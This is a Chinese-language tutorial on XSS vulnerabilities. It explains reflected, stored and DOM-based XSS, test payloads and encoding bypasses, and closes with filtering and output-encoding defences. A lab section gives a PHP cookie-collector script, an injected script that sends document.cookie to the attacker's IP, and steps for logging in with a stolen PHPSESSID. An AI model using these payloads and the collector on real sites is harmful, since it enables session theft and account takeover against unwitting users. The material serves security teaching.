XSS漏洞原理及攻击
XSS漏洞原理
XSS介紹
XSS漏洞介紹
1、 跨站腳本(Cross-Site Scripting),簡稱為XSS或CSS或跨站腳本攻擊,是一種針對網站應用程序的安全漏洞攻擊技術,是代碼注入的一種。它允許惡意用戶將代碼注入網頁,其他用戶在瀏覽網頁時就會受到影響。惡意用戶利用XSS代碼攻擊成功后,可能得到很高的權限(如執行一些操作)、私密網頁內容、會話和cookie等各種內容。可以用于釣魚攻擊,掛馬,cookie獲取,前端js挖礦等攻擊行為,而且廣泛適用于和其他漏洞結合,達到攻擊服務器的目的。
2、 XSS漏洞一直被認為是web安全中危害較大的漏洞,在owasp一直處于top3。而在對sql注入防范越來越嚴密的今天,xss也成了絕大部分黑客更喜歡的漏洞利用方式。
3、 XSS攻擊可以分為三種:反射性、存儲型、DOM型
XSS漏洞原理
攻擊者在有漏洞的前端頁面嵌入惡意代碼,導致受害者訪問頁面時不知情的情況下觸發惡意代碼,獲取受害者關鍵信息。
形成XSS漏洞的原因本質上還是前端對輸入輸出的過濾限制不嚴格,導致精心構造的腳本輸入后,在前端被當做有效代碼并執行。
XSS漏洞利用流程
1、用firefox和chrome的右鍵菜單進入html編輯器或者直接查看網頁源代碼 2、尋找輸入點,在輸入點輸入特殊字符<>’’等,查看是否存在攔截,并且通過編輯器查看輸入后存放的位置 3、發現沒有過濾特殊字符后,就要考慮如何構造payload進行xss攻擊了。開始分析漏洞頁面,構建payload 4、<input>是一個空元素,所以在元素內是無論如何不能寫入內容的,所以我們先要把<input>閉合掉,然后再插入我們的xsspayload 5、輸入一個">將input元素閉合,其次將后面的<script>內容輸入即可。 6、payload:"><script>alert('xss')</script>,我們嘗試輸入一下,成功彈窗反射性XSS
反射性XSS又稱非持久型XSS,這種攻擊方式往往具有一次性。
攻擊方式:攻擊者通過電子郵件等方式將包含xss代碼的惡意鏈接發給目標用戶。當目標用戶訪問該鏈接時,服務器接收該目標用戶的請求并進行處理,然后服務器把帶有XSS代碼的數據發送給目標用戶的瀏覽器,瀏覽器解析這段帶有XSS代碼的惡意腳本后,瀏覽器解析這段代碼后就會觸發xss攻擊,完成攻擊者想要的功能(獲取cookies、url、瀏覽器信息、IP等等)。
儲存型XSS
存儲型XSS又稱持久型XSS,攻擊腳本將被永久地存放在目標服務器的數據庫或文件中,具有很高的隱蔽性。
攻擊方式:這種攻擊多見于論壇、博客和留言板,攻擊者在發帖的過程中,將惡意腳本連同正常信息一起注入帖子的內容中。隨著帖子被服務器存儲下來,惡意腳本也永久地被存放在服務器的后端存儲器中。當其他用戶瀏覽這個被注入了惡意叫你本的帖子時,惡意腳本會在他們的瀏覽器中得到執行。
DOM型XSS
DOM全稱Document Object Model,使用DOM可以使程序和腳本能夠動態訪問和更新文檔的內容、結構及樣式。DOM型XSS其實是一種特殊類型的反射型XSS,它是基于DOM文檔對象模型的一種漏洞。
HTML的標簽都是節點,而這些節點組成了DOM的整體結構——節點樹。通過HTML DOM,樹中的所有結點均可通過JavaScript進行訪問。所有HTML元素(節點)均可被修改,也可以創建或刪除節點。
在網站頁面中有許多元素,當頁面到達瀏覽器時,瀏覽器會為頁面創建一個項級的Document object文檔對象,接著生成各個子文檔對象,每個頁面元素對應一個文檔對象,每個文檔對象包含屬性、方法和事件。可以通過JS腳本對文檔對象進行編輯,從而修改頁面的元素。也就是說,客戶端的腳本程序可以通過DOM動態修改頁面內容,從客戶端獲取DOM中的數據并在本地執行。由于DOM是在客戶端修改節點的,所以基于DOM型的XSS漏洞不需要與服務器端交互,它只發生在客戶端處理數據的階段。
攻擊方式
用戶請求一個經過專門設計的URL,它由攻擊者提交,而且其中包含XSS代碼。服務器的響應不會以任何形式包含攻擊者的腳本。當用戶的瀏覽器處理這個響應時,DOM對象就會處理XSS代碼,導致存在XSS漏洞。
XSS常用的語句及繞過
XSS常用的測試語句: <script>alert(1)</script> <img src=x onerror=alert(1)> <svg onload=alert(1)> <a href=javascript:alert(1)>常用的繞過 常見的XSS的繞過編碼有JS編碼、HTML實體編碼和URL編碼A:JS編碼 JS提供了四種字符編碼的策略,如下所示: 三個八進制數字,如果個數不夠,在前面補0,例如“e”的編碼為“\145”。 兩個十六進制數字,如果個數不夠,在前面補0,例如“e”的編碼為“\x65”。 四個十六進制數字,如果個數不夠,在前面補0,例如“e”的編碼為“\u0065”。 對于一些控制字符,使用特殊的C類型的轉義風格(例如\n和\r)。B: HTML實體編碼 htmlspecialchars(string): 把預定義的字符 "<" (小于)、 ">" (大于)、& 、‘’、“” 轉換為 HTML 實體,防止瀏覽器將其作為HTML元素 命名實體:以&開頭,以分號結尾如 “<”的編碼是“<”。 字符編碼:十進制、十六進制ASCII碼或Unicode字符編碼,樣式為“&#數值”。例如”<”可以編碼為“<”和“<”。C: URL編碼 這里的URL編碼,也是兩次URL全編碼的結果,如果alert被過濾,結果為 %25%36%31%25%36%63%25%36%35%25%37%32%25%37%34 在使用XSS編碼測試時,需要考慮HTML渲染的順序,特別是針對多種編碼組合時,要選擇合適的編碼方式進行測試。D:大小寫繞過獲取Cookie實戰
1.編寫獲取cookie的代碼cookie.php,并將其放在phpStudy/WWW下。
cookie.php內容如下:
<?php $cookie=$_GET['cookie']; $cookie1=date('y-m-d h:i:s',time()); file_put_contents('cookie.txt',$cookie.' '.$cookie1,FILE_APPEND); ?>- date(‘y-m-d h:i:s’,time());表獲取當前時間
- file_put_contents(‘cookie.txt’,”hello”)表將hello保存到cookie.txt文件中
- FILE_APPEND表追加到末尾的意思
- document.location為重定向
2.構造如下URL,并發送給被攻擊者:
原始URL:
網址登錄:http://172.16.11.103/book/input.php輸入框構建Payload: <script>doument.location='http://172.16.11.103/cookie.php?cookie='+document.cookie;</script> 注:IP為攻擊者的IP3.別人訪問http://172.16.11.103/book/input.php時就成功抓取cookie
用cookie登錄
1、先用賬號密碼成功登錄,抓包獲取cookie值
http://172.16.11.103/book——登錄——登錄成功——抓包查看留言:http://172.16.11.103/book/browse.php保存抓包的Cookie:PHPSESSID=20s4i4slcsd2jcsi4eavp5u3v32、抓包——更改cookie——攔截禁用
打開網頁:http://172.16.11.103/book/browse.php——抓包 (注:這里打開的網頁必須是上面抓包的網頁browse.php)將抓包的Cookie: PHPSESSID=ium53pr05juoie3nthv6gjrof6更改為上面的cookie: Cookie:PHPSESSID=20s4i4slcsd2jcsi4eavp5u3v3——攔截禁用(反轉消息攔截) 返回瀏覽器查看已經登錄成功方法二
打開網頁F12 控制臺輸入: var strCookie = prompt("請輸入Cookie"); var arrCookie = strCookie.split(";"); for(var i = 0; i < arrCookie.length; i++) {document.cookie = arrCookie;}彈窗輸入cookie: 20s4i4slcsd2jcsi4eavp5u3v3XSS的防御
XSS防御的總體思路是:
對用戶的輸入(和URL參數)進行過濾,對輸出進行html編碼。也就是對用戶提交的所有內容進行過濾,對url中的參數進行過濾,過濾掉會導致腳本執行的相關內容;然后對動態輸出到頁面的內容進行html編碼,使腳本無法在瀏覽器中執行。
對輸入的內容進行過濾,可以分為黑名單過濾和白名單過濾。黑名單過濾雖然可以攔截大部分的XSS攻擊,但是還是存在被繞過的風險。白名單過濾雖然可以基本杜絕XSS攻擊,但是真實環境中一般是不能進行如此嚴格的白名單過濾的
對輸出進行html編碼,就是通過函數,將用戶的輸入的數據進行html編碼,使其不能作為腳本運行。
XSS修復
因為XSS漏洞涉及輸入和輸出兩部分,所以其修復也分兩種
A:過濾輸入的數據,包括” ‘ ”,” “ ”,”<”,”>” “on*”等非法字符。
B:對輸出到頁面的數據進行相應的編碼轉換,包括HTML實體編碼、JavaScript編碼等。
1、trim(string,charlist) : 移除string字符兩側的預定義字符,預定義字符包括\t 、 \n 、\x0B 、 \r以及空格,可選參數charlist支持添加額外需要刪除的字符 2、stripslashes(string): 去除掉string字符的反斜杠\ 3、mysqli_real_escape_string(string,connection) :函數會對字符串string中的特殊符號 (\x00,\n,\r,\,‘,“,\x1a)進行轉義。 4、addslashes(string) :函數返回在預定義字符之前添加反斜杠的字符串,預定義字符 ' 、" 、\ 、NULL 5、strip_tags(string) :函數剝去string字符串中的 HTML、XML 以及 PHP 的標簽 6、htmlspecialchars(string): 把預定義的字符 "<" (小于)、 ">" (大于)、& 、‘’、“” 轉換為 HTML 實體,防止瀏覽器將其作為HTML元素當我們再次輸入1 和 <script>alert('hack')</script> ,strip_tags函數把<script>標簽給剝除了,addslashes函數把 ' 轉義成了 \'總結
以上是生活随笔為你收集整理的XSS漏洞原理及攻击的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 线性回归模型-最小二乘法Ordinary
- 下一篇: MySQL单表查询